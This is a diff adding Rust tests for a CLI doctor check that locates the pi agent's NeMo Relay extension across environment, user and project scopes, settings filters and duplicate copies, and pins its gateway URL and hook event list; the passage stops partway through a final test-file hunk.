b/crates/cli/tests/coverage/agents/pi_doctor_tests.rs @@ -0,0 +1,788 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +use std::ffi::OsStr; + +use super::*; +use crate::test_support::EnvScope; + +/// Isolate the three environment variables that steer extension discovery, so a +/// developer's own pi install cannot make these pass or fail. +/// A directory pi would see as this extension: a package manifest naming it. +fn write_relay_package(dir: &std::path::Path) { + std::fs::create_dir_all(dir).unwrap(); + // The declared entry point matters: it is what a `packages` filter's patterns are matched + // against, so a fixture without one reads as "cannot tell" rather than as enabled. + std::fs::write( + dir.join("package.json"), + r#"{"name": "nemo-relay-pi", "pi": {"extensions": ["./index.ts"]}}"#, + ) + .unwrap(); + std::fs::write(dir.join("index.ts"), "export default 1").unwrap(); +} + +/// Somebody else's pi extension, installed the same way. +fn write_other_package(dir: &std::path::Path) { + std::fs::create_dir_all(dir).unwrap(); + std::fs::write( + dir.join("package.json"), + r#"{"name": "someone-elses-pi-thing"}"#, + ) + .unwrap(); + std::fs::write(dir.join("index.ts"), "export default 1").unwrap(); +} + +fn scoped(extension: Option<&OsStr>, agent_dir: Option<&OsStr>) -> EnvScope { + EnvScope::set(&[ + (PI_EXTENSION_PATH_ENV, extension), + (PI_AGENT_DIR_ENV, agent_dir), + ]) +} + +#[test] +fn a_project_scoped_extension_is_reported_because_pi_will_not_say_so() { + let temp = tempfile::tempdir().unwrap(); + let project_extensions = temp.path().join(".pi").join("extensions"); + std::fs::create_dir_all(&project_extensions).unwrap(); + write_relay_package(&project_extensions.join("nemo-relay")); + let empty_home = temp.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _env = scoped(None, Some(empty_home.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + // This is the whole point of the check: pi drops this extension with a bare + // conditional in every non-interactive mode, never reports it, and the + // extension cannot report it either because it is not running. + assert!( + sites + .iter() + .any(|site| site.scope == ExtensionScope::Project), + "a project-scoped extension must be reported: {sites:?}" + ); +} + +#[test] +fn an_empty_project_directory_is_not_reported() { + let temp = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(temp.path().join(".pi").join("extensions")).unwrap(); + let empty_home = temp.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _env = scoped(None, Some(empty_home.as_os_str())); + + // A `.pi/extensions` directory that pi created and nothing was ever put in + // is not a finding; warning about it would train users to ignore the check. + assert!( + relay_extension_sites(temp.path()).is_empty(), + "an empty project extensions directory must not be reported" + ); +} + +#[test] +fn the_explicit_path_is_reported_as_ungated() { + let temp = tempfile::tempdir().unwrap(); + let package = temp.path().join("checkout"); + write_relay_package(&package); + let entry = package.join("index.ts"); + let empty_home = temp.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _env = scoped(Some(entry.as_os_str()), Some(empty_home.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + // `-e` loads first in pi's precedence order and survives `--no-extensions`, + // so an extension reached this way is never subject to project trust -- + // which is exactly why the launcher uses it. + assert_eq!(sites.len(), 1, "{sites:?}"); + assert_eq!(sites[0].scope, ExtensionScope::Explicit); + assert_eq!(sites[0].path, entry); +} + +#[test] +fn a_user_scope_install_is_reported_as_ungated() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + let user_extensions = agent_dir.join("extensions"); + std::fs::create_dir_all(&user_extensions).unwrap(); + write_relay_package(&user_extensions.join("nemo-relay")); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 1, "{sites:?}"); + assert_eq!(sites[0].scope, ExtensionScope::User); +} + +#[test] +fn an_explicit_path_that_does_not_exist_is_not_reported() { + let temp = tempfile::tempdir().unwrap(); + let missing = temp.path().join("gone.ts"); + let empty_home = temp.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _env = scoped(Some(missing.as_os_str()), Some(empty_home.as_os_str())); + + // A stale environment variable is worse than none: it would report an + // ungated load path for a file pi cannot read. + assert!(relay_extension_sites(temp.path()).is_empty()); + assert!(!extension_configured()); +} + +// `pi install` writes nothing into the extension directories -- it appends the +// source to a `packages` array in settings.json. Scanning only the directories +// therefore told a user who had just run the *recommended* install command that +// no extension was found. +#[test] +fn a_pi_install_at_user_scope_is_found_in_settings_not_in_a_directory() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("checkout")); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"packages": ["../checkout"]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 1, "{sites:?}"); + assert_eq!(sites[0].scope, ExtensionScope::User); +} + +// The dangerous half: `pi install --local` records the package in the project's +// settings, which is trust-gated exactly like `.pi/extensions`. Before this, the +// check could not see it at all. +#[test] +fn a_local_pi_install_is_reported_as_project_scoped() { + let temp = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(temp.path().join(".pi")).unwrap(); + write_relay_package(&temp.path().join("checkout")); + std::fs::write( + temp.path().join(".pi").join("settings.json"), + r#"{"packages": ["../checkout"]}"#, + ) + .unwrap(); + let empty_home = temp.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _env = scoped(None, Some(empty_home.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert!( + sites + .iter() + .any(|site| site.scope == ExtensionScope::Project), + "a --local install is trust-gated and must be reported: {sites:?}" + ); +} + +#[test] +fn settings_without_packages_are_not_a_finding() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + let _env = scoped(None, Some(agent_dir.as_os_str())); + + // Every shape pi can leave behind that means "nothing installed", plus a + // malformed file: a parse failure is pi's to report, not doctor's to fail on. + for body in [ + r#"{}"#, + r#"{"packages": []}"#, + r#"{"packages": "not-an-array"}"#, + "{ truncated", + ] { + std::fs::write(agent_dir.join("settings.json"), body).unwrap(); + assert!( + relay_extension_sites(temp.path()).is_empty(), + "settings body {body} must not be reported as an install" + ); + } +} + +#[test] +fn the_gateway_url_matches_what_the_extension_resolves() { + let _env = EnvScope::set(&[(PI_GATEWAY_URL_ENV, None)]); + // Kept in step with `configFromEnv` in integrations/pi/src/gateway-client.ts; + // a drift here would probe an endpoint the extension never posts to. + assert_eq!(gateway_url(None), "http://127.0.0.1:4040"); +} + +#[test] +fn the_gateway_url_honors_the_launcher_variable_and_strips_trailing_slashes() { + let _env = EnvScope::set(&[( + PI_GATEWAY_URL_ENV, + Some(OsStr::new("http://gateway.test:9999///")), + )]); + assert_eq!(gateway_url(None), "http://gateway.test:9999"); +} + +#[test] +fn the_gateway_url_follows_a_configured_bind_rather_than_the_default_port() { + let _env = EnvScope::set(&[(PI_GATEWAY_URL_ENV, None)]); + // The launcher sets the environment variable *from* the resolved config, so a + // preflight that only read the variable would report a working gateway as down + // for anyone who changed `bind`. + assert_eq!( + gateway_url(Some("127.0.0.1:8123".parse().unwrap())), + "http://127.0.0.1:8123" + ); +} + +#[test] +fn a_wildcard_bind_is_probed_on_loopback_where_pi_actually_runs() { + let _env = EnvScope::set(&[(PI_GATEWAY_URL_ENV, None)]); + // `http://0.0.0.0:4040` is not a dialable address; the gateway bound that way is + // reachable on loopback, which is where the pi extension posts from. + assert_eq!( + gateway_url(Some("0.0.0.0:4040".parse().unwrap())), + "http://127.0.0.1:4040" + ); +} + +#[test] +fn the_environment_variable_wins_over_a_configured_bind() { + let _env = EnvScope::set(&[( + PI_GATEWAY_URL_ENV, + Some(OsStr::new("http://elsewhere:1234")), + )]); + // Someone who set the variable by hand is pointing pi somewhere deliberately. + assert_eq!( + gateway_url(Some("127.0.0.1:4040".parse().unwrap())), + "http://elsewhere:1234" + ); +} + +// The check is about *this* extension, not about pi having extensions. Before it +// matched on the package name, an unrelated install produced a Relay Pass -- and a +// project-scoped one produced a Relay trust warning about a file that has nothing +// to do with Relay. +#[test] +fn somebody_elses_pi_extension_is_not_reported_as_ours() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + write_other_package(&agent_dir.join("extensions").join("other")); + write_other_package(&temp.path().join(".pi").join("extensions").join("other")); + std::fs::create_dir_all(temp.path().join(".pi")).unwrap(); + write_other_package(&temp.path().join("elsewhere")); + std::fs::write( + temp.path().join(".pi").join("settings.json"), + r#"{"packages": ["../elsewhere"]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + assert!( + relay_extension_sites(temp.path()).is_empty(), + "an unrelated pi package must not be reported as the Relay extension" + ); + assert!(!extension_configured()); +} + +// The explicit route was the one hole in that name check: any path that existed +// counted, so a stale variable made doctor Pass *and* made the launcher inject the +// path with `-e` -- a green check describing a session with no Relay code in it. +#[test] +fn an_unrelated_extension_named_by_the_environment_is_not_reported_as_ours() { + let temp = tempfile::tempdir().unwrap(); + let other = temp.path().join("other"); + write_other_package(&other); + let empty_home = temp.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _env = scoped( + Some(other.join("index.ts").as_os_str()), + Some(empty_home.as_os_str()), + ); + assert!(relay_extension_sites(temp.path()).is_empty()); + assert!(!extension_configured()); + assert!(launchable_extension_path(temp.path()).is_none()); +} + +// `-e` is never trust-gated, so falling back to a project-scoped site would make +// the launcher run code pi refused to load -- undoing the gate this module reports. +#[test] +fn the_launch_path_never_promotes_a_project_scoped_extension() { + let temp = tempfile::tempdir().unwrap(); + let project_extensions = temp.path().join(".pi").join("extensions"); + std::fs::create_dir_all(&project_extensions).unwrap(); + write_relay_package(&project_extensions.join("nemo-relay")); + let empty_home = temp.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _env = scoped(None, Some(empty_home.as_os_str())); + assert!(!relay_extension_sites(temp.path()).is_empty()); + assert!(launchable_extension_path(temp.path()).is_none()); +} + +// pi resolves an `-e` argument as a package source, so an npm specifier that +// `pi install` recorded would be fetched and installed by a launch, not loaded. +#[test] +fn the_launch_path_skips_an_installed_source_that_is_not_a_path() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"packages": ["npm:nemo-relay-pi"]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + assert!(!relay_extension_sites(temp.path()).is_empty()); + assert!(launchable_extension_path(temp.path()).is_none()); +} + +// pi's own configuration selector rewrites a string entry into the object form the +// moment a user toggles any resource of that package, so this shape is not a hand +// edit -- and while only strings were read, one keystroke in pi's UI made doctor +// report an installed extension as missing and made the launcher refuse to start. +#[test] +fn an_object_form_package_entry_is_found() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + let checkout = temp.path().join("checkout"); + write_relay_package(&checkout); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"packages": [{"source": "../checkout"}]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 1, "{sites:?}"); + assert_eq!(sites[0].scope, ExtensionScope::User); + assert_eq!(sites[0].filter, SettingsFilter::Loads); + // Compared canonically: a recorded source is relative to the settings file, so the + // resolved path keeps the `..` pi itself would resolve away. + assert_eq!( + launchable_extension_path(temp.path()).map(|path| std::fs::canonicalize(path).unwrap()), + Some(std::fs::canonicalize(&checkout).unwrap()) + ); +} + +// A non-empty pattern list is matched against the package manifest, which this +// module does not read. Reporting it as loaded is the deliberate direction: a false +// negative here is the exact failure the whole module exists to prevent. +// The other side of the same table: a `+` force-include, a bare include naming the entry, and +// an `autoload: false` delta that adds it back all leave pi loading it. +#[test] +fn an_object_form_entry_whose_patterns_leave_it_loaded_is_not_reported_as_disabled() { + for body in [ + r#"{"packages": [{"source": "../checkout", "extensions": ["+index.ts"]}]}"#, + r#"{"packages": [{"source": "../checkout", "extensions": ["index.ts"]}]}"#, + r#"{"packages": [{"source": "../checkout", "autoload": false, "extensions": ["+index.ts"]}]}"#, + ] { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("checkout")); + std::fs::write(agent_dir.join("settings.json"), body).unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 1, "{body}: {sites:?}"); + assert_eq!(sites[0].filter, SettingsFilter::Loads, "{body}"); + } +} + +// An include list that never names this entry leaves pi loading nothing from the package -- +// step 1 keeps only what the includes match. Decidable without a glob matcher, and previously +// reported as a plain Pass. +#[test] +fn an_include_list_that_omits_this_entry_is_reported_as_disabled() { + for body in [ + r#"{"packages": [{"source": "../checkout", "extensions": ["other.ts"]}]}"#, + r#"{"packages": [{"source": "../checkout", "autoload": false, "extensions": ["+other.ts"]}]}"#, + ] { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("checkout")); + std::fs::write(agent_dir.join("settings.json"), body).unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + assert_eq!(sites[0].filter, SettingsFilter::Excluded, "{body}"); + } +} + +// A glob is pi's to evaluate, not this module's -- but saying Pass would claim pi loads the +// extension on no evidence, which is the claim this whole module exists to stop making. +#[test] +fn a_glob_filter_is_reported_as_undecided_rather_than_as_loaded() { + for body in [ + r#"{"packages": [{"source": "../checkout", "extensions": ["!*.ts"]}]}"#, + r#"{"packages": [{"source": "../checkout", "extensions": ["src/*.ts"]}]}"#, + ] { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("checkout")); + std::fs::write(agent_dir.join("settings.json"), body).unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + assert_eq!(sites[0].filter, SettingsFilter::Undecided, "{body}"); + } +} + +// Choosing the first site regardless of its filter manufactured the duplicate it then refused: +// `-e` re-enables the disabled copy, and the enabled one becomes a genuine second load. +#[test] +fn the_launch_path_prefers_a_copy_pi_already_loads() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("off")); + let live = temp.path().join("live"); + write_relay_package(&live); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"packages": [{"source": "../off", "extensions": []}, "../live"]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let launched = launchable_extension_path(temp.path()).unwrap(); + + assert_eq!( + std::fs::canonicalize(&launched).unwrap(), + std::fs::canonicalize(&live).unwrap(), + "the enabled copy must win, so the disabled one stays disabled" + ); + assert_eq!(conflicting_extension_site(temp.path(), &launched), None); +} + +// A third registration route, a sibling of `packages` in the same file, read by a generic loop +// over pi's four resource types rather than by anything named after extensions. Missing it meant +// doctor said "not located" and the launcher refused to start for a user pi loads fine. +#[test] +fn an_extensions_entry_in_settings_is_found_in_both_scopes() { + // User scope: entries resolve against the agent directory. + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("checkout")); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"extensions": ["../checkout/index.ts"]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + assert_eq!(sites.len(), 1, "{sites:?}"); + assert_eq!(sites[0].scope, ExtensionScope::User); + assert_eq!(sites[0].filter, SettingsFilter::Loads); + drop(_env); + + // Project scope: entries resolve against `/.pi`, and pi trust-gates them. + let project = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".pi")).unwrap(); + write_relay_package(&project.path().join("checkout")); + std::fs::write( + project.path().join(".pi").join("settings.json"), + r#"{"extensions": ["../checkout/index.ts"]}"#, + ) + .unwrap(); + let empty_home = project.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _env = scoped(None, Some(empty_home.as_os_str())); + let sites = relay_extension_sites(project.path()); + assert!( + sites + .iter() + .any(|site| site.scope == ExtensionScope::Project), + "a project `extensions` entry is trust-gated and must be reported: {sites:?}" + ); +} + +// pi treats a directory entry as a *container* of extensions and walks it, so a parent directory +// registers the package inside it. +#[test] +fn an_extensions_entry_naming_a_container_directory_is_walked() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + let container = temp.path().join("integrations"); + write_relay_package(&container.join("pi")); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"extensions": ["../integrations"]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + assert_eq!(sites.len(), 1, "{sites:?}"); +} + +// The array filters its collected set with the same globbing `packages` filters use, over files +// this module does not enumerate the way pi does -- so a pattern makes it undecidable, not a Pass. +#[test] +fn an_extensions_entry_carrying_a_pattern_is_reported_as_undecided() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("checkout")); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"extensions": ["../checkout/index.ts", "-index.ts"]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + assert_eq!(sites.len(), 1, "{sites:?}"); + assert_eq!(sites[0].filter, SettingsFilter::Undecided); +} + +// B1: two copies inside ONE source. pi resolves every distinct package source, so both load +// and post every hook twice -- and stopping at the first match hid exactly that. +#[test] +fn two_copies_recorded_in_one_settings_file_are_both_reported() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("one")); + write_relay_package(&temp.path().join("two")); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"packages": ["../one", "../two"]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 2, "{sites:?}"); + let launched = launchable_extension_path(temp.path()).unwrap(); + assert!(conflicting_extension_site(temp.path(), &launched).is_some()); +} + +#[test] +fn two_copies_in_one_extensions_directory_are_both_reported() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + let extensions = agent_dir.join("extensions"); + write_relay_package(&extensions.join("nemo-relay")); + write_relay_package(&extensions.join("nemo-relay-copy")); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 2, "{sites:?}"); + let launched = launchable_extension_path(temp.path()).unwrap(); + assert!(conflicting_extension_site(temp.path(), &launched).is_some()); +} + +// B2: a copy pi's own settings switch off is reliably *not* a load, so counting it refused a +// launch over a copy that was never going to register a hook. +#[test] +fn a_copy_pi_switched_off_is_not_a_second_copy() { + for body in [ + r#"{"packages": [{"source": "../off", "extensions": []}]}"#, + r#"{"packages": [{"source": "../off", "autoload": false}]}"#, + ] { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("off")); + let explicit = temp.path().join("checkout"); + write_relay_package(&explicit); + std::fs::write(agent_dir.join("settings.json"), body).unwrap(); + + let _env = scoped(Some(explicit.as_os_str()), Some(agent_dir.as_os_str())); + assert_eq!( + conflicting_extension_site(temp.path(), &explicit), + None, + "{body}" + ); + } +} + +#[test] +fn an_object_form_entry_with_extension_patterns_is_still_found() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + write_relay_package(&temp.path().join("checkout")); + std::fs::write( + agent_dir.join("settings.json"), + r#"{"packages": [{"source": "../checkout", "extensions": ["index.ts"], "skills": []}]}"#, + ) + .unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 1, "{sites:?}"); + assert_eq!(sites[0].filter, SettingsFilter::Loads); +} + +// Installed and switched off is not the same as absent, and must not be reported as +// either a plain Pass or a missing install. The launch path deliberately still uses +// it: `-e` applies no settings filter. +#[test] +fn an_object_form_entry_whose_extensions_are_disabled_is_reported_as_disabled() { + for body in [ + r#"{"packages": [{"source": "../checkout", "extensions": []}]}"#, + r#"{"packages": [{"source": "../checkout", "autoload": false}]}"#, + // What pi's own configuration selector writes when a user switches this extension off: + // `-`, a force-exclude pi applies last and unconditionally. Reading a non-empty + // list as "enabled" reported a plain Pass for a package pi loads nothing from. + r#"{"packages": [{"source": "../checkout", "extensions": ["-index.ts"]}]}"#, + r#"{"packages": [{"source": "../checkout", "extensions": ["-./index.ts"]}]}"#, + r#"{"packages": [{"source": "../checkout", "autoload": false, "extensions": ["-index.ts"]}]}"#, + ] { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&agent_dir).unwrap(); + let checkout = temp.path().join("checkout"); + write_relay_package(&checkout); + std::fs::write(agent_dir.join("settings.json"), body).unwrap(); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 1, "{body}: {sites:?}"); + assert_eq!(sites[0].filter, SettingsFilter::Excluded, "{body}"); + // Still launchable, deliberately: `-e` applies no settings filter, so the launcher + // instruments a session the user's own `pi` runs are missing. + assert_eq!( + launchable_extension_path(temp.path()).map(|path| std::fs::canonicalize(path).unwrap()), + Some(std::fs::canonicalize(&checkout).unwrap()), + "{body}" + ); + } +} + +// Two ungated copies can be live at once -- a variable someone set at a checkout +// months ago, and the user-scope install the README recommends. Both are reported, +// because the order is the contract the launch path reads. +#[test] +fn a_distinct_explicit_copy_and_a_user_install_are_both_reported_explicit_first() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + let installed = agent_dir.join("extensions").join("nemo-relay"); + write_relay_package(&installed); + let explicit = temp.path().join("checkout"); + write_relay_package(&explicit); + + let _env = scoped(Some(explicit.as_os_str()), Some(agent_dir.as_os_str())); + let sites = relay_extension_sites(temp.path()); + + assert_eq!(sites.len(), 2, "{sites:?}"); + assert_eq!(sites[0].scope, ExtensionScope::Explicit); + assert_eq!(sites[0].path, explicit); + assert_eq!(sites[1].scope, ExtensionScope::User); + + // And that is exactly the case pi cannot see: it de-duplicates by path, so both + // load, and every hook is posted twice. + assert_eq!( + conflicting_extension_site(temp.path(), &explicit), + Some(installed) + ); +} + +// One install is reachable both as its directory and as the entry file inside it, +// and pi resolves both to the same file through the `pi.extensions` manifest. That +// is one copy, and refusing to launch it would be a false alarm on the setup the +// launcher itself produces. +#[test] +fn the_same_install_reached_two_ways_is_not_a_second_copy() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + let installed = agent_dir.join("extensions").join("nemo-relay"); + write_relay_package(&installed); + let entry = installed.join("index.ts"); + + let _env = scoped(Some(entry.as_os_str()), Some(agent_dir.as_os_str())); + assert_eq!(conflicting_extension_site(temp.path(), &entry), None); +} + +// pi canonicalizes with `realpathSync`, so a symlinked copy is one copy to pi and +// must be one copy here. +#[cfg(unix)] +#[test] +fn a_symlinked_copy_is_not_a_second_copy() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + let installed = agent_dir.join("extensions").join("nemo-relay"); + write_relay_package(&installed); + let link = temp.path().join("link"); + std::os::unix::fs::symlink(&installed, &link).unwrap(); + + let _env = scoped(Some(link.as_os_str()), Some(agent_dir.as_os_str())); + assert_eq!(conflicting_extension_site(temp.path(), &link), None); +} + +// pi loads a project-scoped copy only for a trusted project, so it is not reliably +// a second load -- and refusing on it would block launches that are fine. The trust +// warning already names it. +#[test] +fn a_project_scoped_copy_is_not_a_second_copy() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + let installed = agent_dir.join("extensions").join("nemo-relay"); + write_relay_package(&installed); + write_relay_package( + &temp + .path() + .join(".pi") + .join("extensions") + .join("nemo-relay"), + ); + + let _env = scoped(None, Some(agent_dir.as_os_str())); + assert_eq!(conflicting_extension_site(temp.path(), &installed), None); +} + +// A user-scope install is what the README's install routes produce, and none of +// them set an environment variable -- so the launcher has to find one without it. +// An explicit path still wins, because someone who set it meant it. +#[test] +fn the_launch_path_prefers_the_explicit_route_over_a_user_scope_install() { + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + let installed = agent_dir.join("extensions").join("nemo-relay"); + write_relay_package(&installed); + + let _discovered = scoped(None, Some(agent_dir.as_os_str())); + assert_eq!(launchable_extension_path(temp.path()), Some(installed)); + drop(_discovered); + + let explicit = temp.path().join("checkout"); + write_relay_package(&explicit); + let _env = scoped(Some(explicit.as_os_str()), Some(agent_dir.as_os_str())); + assert_eq!(launchable_extension_path(temp.path()), Some(explicit)); +} + +// The headline status and the load-path check must agree: they now answer from the +// same resolution, so one `doctor` run cannot say "not located" beside a Pass. +#[test] +fn the_headline_status_agrees_with_the_load_path_check() { + let temp = tempfile::tempdir().unwrap(); + let package = temp.path().join("checkout"); + write_relay_package(&package); + let entry = package.join("index.ts"); + let empty_home = temp.path().join("home"); + std::fs::create_dir_all(&empty_home).unwrap(); + + let _found = scoped(Some(entry.as_os_str()), Some(empty_home.as_os_str())); + assert!(extension_configured()); + assert!(hook_status().unwrap().contains("resolved at")); + drop(_found); + + let _missing = scoped(None, Some(empty_home.as_os_str())); + assert!(!extension_configured()); + assert!(hook_status().unwrap().contains("not located")); +} diff --git a/crates/cli/tests/coverage/agents/pi_tests.rs b/crates/cli/tests/coverage/agents/pi_tests.rs new file mode 100644 index 000000000..c2d742c92 --- /dev/null +++ b/crates/cli/tests/coverage/agents/pi_tests.rs @@ -0,0 +1,69 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +use super::*; + +#[test] +fn parses_bare_semver_version_output() { + // `pi --version` prints only the version, with no product prefix, unlike + // `codex-cli 0.143.0` or `2.1.121 (Claude Code)`. + assert_eq!(parse_version("0.84.0"), Some(Version::new(0, 84, 0))); + assert_eq!(parse_version(" 0.84.0 "), Some(Version::new(0, 84, 0))); +} + +#[test] +fn rejects_prefixed_or_empty_version_output() { + assert_eq!(parse_version("pi 0.84.0"), None); + assert_eq!(parse_version(""), None); + assert_eq!(parse_version("not-a-version"), None); +} + +#[test] +fn descriptor_routes_to_the_pi_hook_endpoint() { + assert_eq!(DESCRIPTOR.hook_path, "/hooks/pi"); + assert_eq!(DESCRIPTOR.executable, "pi"); +} + +#[test] +fn hook_events_use_pi_vocabulary_not_codex_vocabulary() { + // pi hooks originate in a NeMo Relay-authored extension, so the descriptor + // lists pi's own hook names rather than PreToolUse/PostToolUse. + assert!(DESCRIPTOR.hook_events.contains(&"tool_call")); + assert!(DESCRIPTOR.hook_events.contains(&"agent_settled")); + assert!(!DESCRIPTOR.hook_events.contains(&"PreToolUse")); + // Never forwarded: it fires before validation and for calls that never execute. + assert!(!DESCRIPTOR.hook_events.contains(&"tool_execution_start")); +} + +// The list gates nothing inbound -- an unrecognized event name becomes a mark rather than an +// error -- so its whole value is being an accurate inventory of what the extension posts. Pinning +// the exact set is what makes a hook added on one side and forgotten on the other visible here +// rather than in a trace nobody reads. +#[test] +fn hook_events_inventory_matches_what_the_extension_posts() { + let mut declared = DESCRIPTOR.hook_events.to_vec(); + declared.sort_unstable(); + assert_eq!( + declared, + [ + "agent_end", + "agent_settled", + "agent_start", + // Not pi hook names. The extension synthesizes these three: two report a decision it + // took (redirect the model's provider, apply a rewrite), and `user_bash_end` closes + // the inline-shell span because pi reports no completion for it. + "model_redirect", + "session_before_compact", + "session_compact", + "session_shutdown", + "session_start", + "tool_arguments_transformed", + "tool_call", + "tool_execution_end", + "turn_end", + "turn_start", + "user_bash", + "user_bash_end", + ] + ); +} diff --git a/crates/cli/tests/coverage/commands/main_tests.rs b/crates/cli/tests/coverage/commands/main_tests.rs index f0b9f2b86..a1d7cf9be 100644 --- a/crates/cli/tests/coverage/commands/main_tests.rs +++ b/crates/cli/tests/coverage/commands/main_tests.rs @@ -384,7 +384,7 @@ fn multi_agent_operations_attempt_every_target_before_reporting_errors() { visited.borrow_mut().push(agent); match agent { CodingAgent::Codex => Err(error::CliError::Install("codex failure".into())), - CodingAgent::ClaudeCode => Ok(ExitCode::FAILURE), + CodingAgent::ClaudeCode | CodingAgent::Pi => Ok(ExitCode::FAILURE), } }) .unwrap_err() diff --git a/crates/cli/tests/coverage/shared/doctor_tests.rs b/crates/cli/tests/coverage/shared/doctor_tests.rs index 601ea8b27..4cbf3dd4f 100644 --- a/crates/cli/tests/coverage/shared/doctor_tests.rs +++ b/crates/cli/tests/coverage/shared/doctor_tests.rs @@ -194,6 +194,7 @@ fn exit_code_fails_when_agent_readiness_fails() { path: None, version: None, annotation: "configured command not found on $PATH".into(), + 